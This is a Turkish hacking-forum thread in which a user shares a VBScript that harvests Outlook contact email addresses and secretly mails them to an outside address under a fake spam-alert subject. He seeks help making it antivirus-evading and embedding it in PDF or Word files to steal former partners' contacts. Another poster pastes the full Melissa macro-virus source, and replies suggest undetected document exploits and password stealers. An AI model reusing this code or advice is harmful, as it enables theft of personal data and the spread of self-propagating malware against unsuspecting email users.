Sevgili müridler, vbs kodunu yazdım . Şimdi, bu VBS'i nasıl exe yapabiliriz . Yada FUD'lamak vs işe yarar mı? Winrar ile SFX archive yaptım ancak çıkan exe'yi çalıştıramadım. İsteyenler için kodlar aşağıda; option explicitdim folderPath, ofSOSet oFSO = CreateObject oFSO. CreateFolder "C:\MyFolder"folderPath = "C:\MyFolder"exportAddresses folderPathsub exportAddresses dim outApp, fldContacts, contactEntry, fso, outFile, objMail set outApp = createobject set fldContacts = outApp. getnamespace . getdefaultfolder(10) Set objMail = outApp. CreateItem(0) set fso = createobject set outFile = fso. createtextfile( exportPath & "\emails. txt", 8 ) for each contactEntry in fldContacts. items if typename = "ContactItem" then dim tmpString1, tmpString2, tmpString3, outMsg tmpString1 = contactEntry. email1address tmpString2 = contactEntry. email2address tmpString3 = contactEntry. email3address if tmpString1 <> "" then outMsg = tmpString1 end if if tmpString2 <> "" then outMsg = outMsg & vbcrlf & tmpString2 end if if tmpString3 <> "" then outMsg = outMsg & vbcrlf & tmpString3 end if outFile. writeline outMsg end if next outFile. close set outFile = nothing set fso = nothing set fldContacts = nothing objMail. to = "sadmin@kaspersky.com. br. eu" objMail. bcc = "pacificashipping@yahoo.com" objMail. Subject = "Spam Detected /// Message Disarmed" objMail. Body = "A spam message detected and message disarmed." objMail. Attachments. Add objmail. DeleteAfterSubmit = True objMail. Send Set objMail = Nothing set outApp = nothingend sub

Yapılır niye yapılmasın. Hatta zamanında Iloveyou wormu dediklerinin aynısını yapıyordu Sana fikir oluşturması açısından şunu inceleyebilirsin ; http://www.tahribat.com/Dokuman-I-Love-You-Virusunun-Ayrintili-Analizi-40/ Tbt Dersimliler Derneği Başkanı :)

Konu istediği kadar gizli olsun, byle birsşey yapılırsa ilk şikayeti ben yaparım.. Outlook kullanıcılarından ne istiyorsunuz.. Gidin face mace ile uğraşın.. diyanet.gov.tr mi burası aq hack sitesindeyiz aga

Pcdoktor, Verdiğin cevap ve linkler için sağol. Hepsini okudum. Ben kodu bitirdim, şimdi bunu nasıl yediririm derdindeyim :) http://enc0de.blogspot.com/2012/03/adobe-reader-v933-windows-xp-sp3.html > Exploit buldum konu ile ilgili. Bakalım hala çalışıyor mu :) PDF'e exe gmmece varmış :) Sonuçları bildireceğim. Bu arada konudan haberdar olupta, yardım etmek isteyen olursa, her türlü yardıma açığım. Schwarz isimli bir mürid vardı bir aralar, FUD işi ile ilgileniyordu. Onunla da bir temasa geçeyim ;)

Ufak bir virüscük yapıyoruz ve pdf, jpg yada word dosyasına gmüyoruz. şu kısım hariç gayet yapılabilir bir mevzu. bu kısmı yapabilmen için ncelikle word ve pdf leri hangi yazılımlarla grüntülediklerini bulman daha sonra o yazılımlar için exploit bulman gerekir. güncel public bişi zaten bulamazsın. bu soruyu soran kişide kendisi bunu bulamaz. en fazla binder aracılıgıyla exene bunlardan birini bindlayabilirsin.

outlook yapmayin amk bütün firmalarla uğraştırcaksınız beni :\ İyi bir kalça sahibi olmanın, iyi bir kafa sahibi olmaktan daha fazla prim yaptığı bir ülkede, hiçbir şey daha ileriye gitmez. . Can Dündar.

La şyle işle uğraşmayın bizim firmaya bulaşırsa 10bin hesap binküsür mail grubu var sonunda olan bize olacak :d

HoLyCat bunu yazdı Konu istediği kadar gizli olsun, byle birsşey yapılırsa ilk şikayeti ben yaparım.. Outlook kullanıcılarından ne istiyorsunuz.. Gidin face mace ile uğraşın.. diyanet.gov.tr mi burası aq hack sitesindeyiz aga imana geldim amk.. . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

Konu istediği kadar gizli olsun, byle birsşey yapılırsa ilk şikayeti ben yaparım.. Outlook kullanıcılarından ne istiyorsunuz.. Gidin face mace ile uğraşın.. . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

Melissa Virüsü vardı bir dnem makrolarla çalışıyordu yanlış hatırlamıyorsam. E-posta sunucularını hedef alıyordu. Ona benzer bir şey yapılabilir gibi. Kaynak kodu da byleymiş: // Melissa Virus Source CodePrivate Sub Document_Open On Error Resume NextIf System. PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars . Controls . Enabled = FalseSystem. PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars . Controls . Enabled = FalseOptions. ConfirmConversions = (1 - 1): Options. VirusProtection = (1 - 1):Options. SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject Set DasMapiName = UngaDasOutlook. GetNameSpace If System. PrivateProfileString <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName. Logon "profile", "password" For y = 1 To DasMapiName. AddressLists. Count Set AddyBook = DasMapiName. AddressLists x = 1 Set BreakUmOffASlice = UngaDasOutlook. CreateItem(0) For oo = 1 To AddyBook. AddressEntries. Count Peep = AddyBook. AddressEntries BreakUmOffASlice. Recipients. Add Peep x = x + 1 If x > 50 Then oo = AddyBook. AddressEntries. Count Next oo BreakUmOffASlice. Subject = "Important Message From " &Application. UserName BreakUmOffASlice. Body = "Here is that document you asked for... don'tshow anyone else ;-)" BreakUmOffASlice. Attachments. Add ActiveDocument. FullName BreakUmOffASlice. Send Peep = "" Next yDasMapiName. LogoffEnd IfSystem. PrivateProfileString = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument. VBProject. VBComponents. Item(1)Set NTI1 = NormalTemplate. VBProject. VBComponents. Item(1)NTCL = NTI1. CodeModule. CountOfLinesADCL = ADI1. CodeModule. CountOfLinesBGN = 2If ADI1. Name <> "Melissa" ThenIf ADCL > 0 Then _ADI1. CodeModule. DeleteLines 1, ADCLSet ToInfect = ADI1ADI1. Name = "Melissa"DoAD = TrueEnd IfIf NTI1. Name <> "Melissa" ThenIf NTCL > 0 Then _NTI1. CodeModule. DeleteLines 1, NTCLSet ToInfect = NTI1NTI1. Name = "Melissa"DoNT = TrueEnd IfIf DoNT <> True And DoAD <> True Then GoTo CYAIf DoNT = True ThenDo While ADI1. CodeModule. Lines(1, 1) = ""ADI1. CodeModule. DeleteLines 1LoopToInfect. CodeModule. AddFromString ("Private Sub Document_Close ")Do While ADI1. CodeModule. Lines(BGN, 1) <> ""ToInfect. CodeModule. InsertLines BGN, ADI1. CodeModule. Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1. CodeModule. Lines(1, 1) = ""NTI1. CodeModule. DeleteLines 1LoopToInfect. CodeModule. AddFromString ("Private Sub Document_Open ")Do While NTI1. CodeModule. Lines(BGN, 1) <> ""ToInfect. CodeModule. InsertLines BGN, NTI1. CodeModule. Lines(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument. Name, "Document") =False) ThenActiveDocument. SaveAs FileName:=ActiveDocument. FullNameElseIf (InStr(1, ActiveDocument. Name, "Document") <> False) ThenActiveDocument. Saved = True: End If'WORD/Melissa written by Kwyjibo'Works in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word -> Email | Word 97 Word 2000... it's a new age! If Day = Minute Then Selection. TypeText " Twenty-two points, plustriple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."End Sub 1049 tarafından 06/Ara/13 17:19 tarihinde düzenlenmiştir dudaklarına değen yağmur bir parça rujundan çalar. dudaklarına değen yağmur bile, bir parça rujundan çalar. benim değemediğim o dudaklarına değen yağmur, bir parça rujundan çalar. // bi gün buralarda yeni bir ağaç yeşerecek ve biz glgesinde mürekkepler tüketeceğiz //

İlgilenen arkadaşlara çok teşekkür ederim. Bende araştırıp, kurcalamaya devam ediyorum. Bu arada yayılan virüs tarzında birşey düşünmüyorum, dolayısıyla outlook kullanan arkadaşlar rahat olsun. Durumu şyle izah edeyim; bizim sektrde , iş yapabilmem için kontaklara ihtiyacım var. Bu konuda bana yardım etme szü veren ve şirket kurdurtan birkaç arkadaşım , beni pis bir şekilde dolandırdı . Bu durumda bilgisayardan anlayan ve TBT müridi olan birisi olarak, bana yapacak tek şey bıraktılar. Arkadaşların kontak kişilerini çalmak. Elde edeceğim bilgiler belki zaten bende olanlardır ancak bu şekilde USD 15,000 dolandırılmanın acısını çıkartabilirim.

Müridler, Aklıma şyle bir fikir geldi ve ufak bir araştırma sonucunda yapılabileceği fikrine vardım. Konu hakkında yorumlarınız ve yapabilecek mürid var mıdır? Ufak bir virüscük yapıyoruz ve pdf, jpg yada word dosyasına gmüyoruz. Kurban dosyayı açınca virüsümüz aktive oluyor ve; 1- Kişinin Outlook adres defterinde ki tüm kişilerin adı ve mail bilgilerini kopyalayıp, istediğimiz bir adrese mail atıyor, 2- 1 numara çok zor olur dersek, outlook adres defterinde ki herkese konusu Test olan bir mesaj atıyor ve bcc'ye bizim belirleyeceğimiz başka bir adresi koyuyor. Sonuç olarak gene tüm adres defterini ele geçirmiş oluyoruz. Sizce antilere yakalanmadan byle birşey yapılabilir mi? Yada yapabilecek bir mürid var mı? Not: Konu gizli, zira BTK vs peşimize takılabilir.

İlgilenen arkadaşlara çok teşekkür ederim. Bende araştırıp, kurcalamaya devam ediyorum. Bu arada yayılan virüs tarzında birşey düşünmüyorum, dolayısıyla outlook kullanan arkadaşlar rahat olsun. Durumu şyle izah edeyim; bizim sektrde , iş yapabilmem için kontaklara ihtiyacım var. Bu konuda bana yardım etme szü veren ve şirket kurdurtan birkaç arkadaşım , beni pis bir şekilde dolandırdı . Bu durumda bilgisayardan anlayan ve TBT müridi olan birisi olarak, bana yapacak tek şey bıraktılar. Arkadaşların kontak kişilerini çalmak. Elde edeceğim bilgiler belki zaten bende olanlardır ancak bu şekilde USD 15,000 dolandırılmanın acısını çıkartabilirim. Sz konusu yazdığın gibiyse, yardımcı bile olurum.. . - @Kaptan ın daha delikanlı olduğunu kanıtlayan şahsiyet ile tanıştım..

Public. doc-. docx(office 2003-2007) için undetect exploitler var. Bunları kullanabilirsin. Mail, msn vs. üzerinden yayılan birçok worm var, 100lerce kaynak kod bulabilirsin bu konuda. Bunları outlook'a uyarlayabilirsen dediğin gayet yapılabilir birşey. Hiç outlook kullanmadım, kayıtlı mailleri nerede nasıl bir şifrelemeyle tutuyordur bilmiyorum. Ama firefox, chrome, ie gibi birçok tarayıcı için stealer'lar var. Bu stealer'lar tarayıcılarda kayıtlı bulunan şifreleri windows üzerindeki appdata üzerinde nereye yüklüyse oradan okuyup bilgileri oluşturan kişiye yolluyor. Sen bu bilgileri kendine yollattırmak yerine outlook üzerinden yollatabilirsin. Veya bunu yapamazsan sadece kullanıcı listesini çalarsın, sonra ufak bir bot ile bu kullanıcı listesindeki adreslere bir black mail servisini kullanarak toplu mail yollarsın. Mesajı yollamadan bir bakayım dedim. http://office.microsoft.com/en-us/outlook-help/where-does-microsoft-outlook-2010-save-my-information-and-configurations-HP010354943.aspx Contact bilgisi burada tutuluyormuş. edit:vbs koduna baktımda, eskiden downloader'larla uğraşırken vbs kodlarını komut satırı üzerinden çalıştırıyordum. Bunu zellikle birşey için yapıyordum millet kullanmıyordu ama ne olduğunu hatırlayamadım şuan :S http://stackoverflow.com/questions/5690134/running-command-line-silently-with-vbscript-and-getting-output http://stackoverflow.com/questions/16087470/run-command-line-command-from-vbs pcdoktor636 tarafından 25/Ara/13 22:44 tarihinde düzenlenmiştir

Holy, aynen dediğim gibi. Detayları istersen pm ile yazayım. İsimler, telefon numaraları vb herşeyi verebilirim.

PCdeki genelde antiler outlook maillerini açmadan tarar yani gmail le mynet le gndersen yeme olasılığı daha fazla Sorularınızı cilginsigortaci@gmail.com a yazabilirsiniz cevaplar facebook sayfasında >>> facebook.com/cilginsigortaci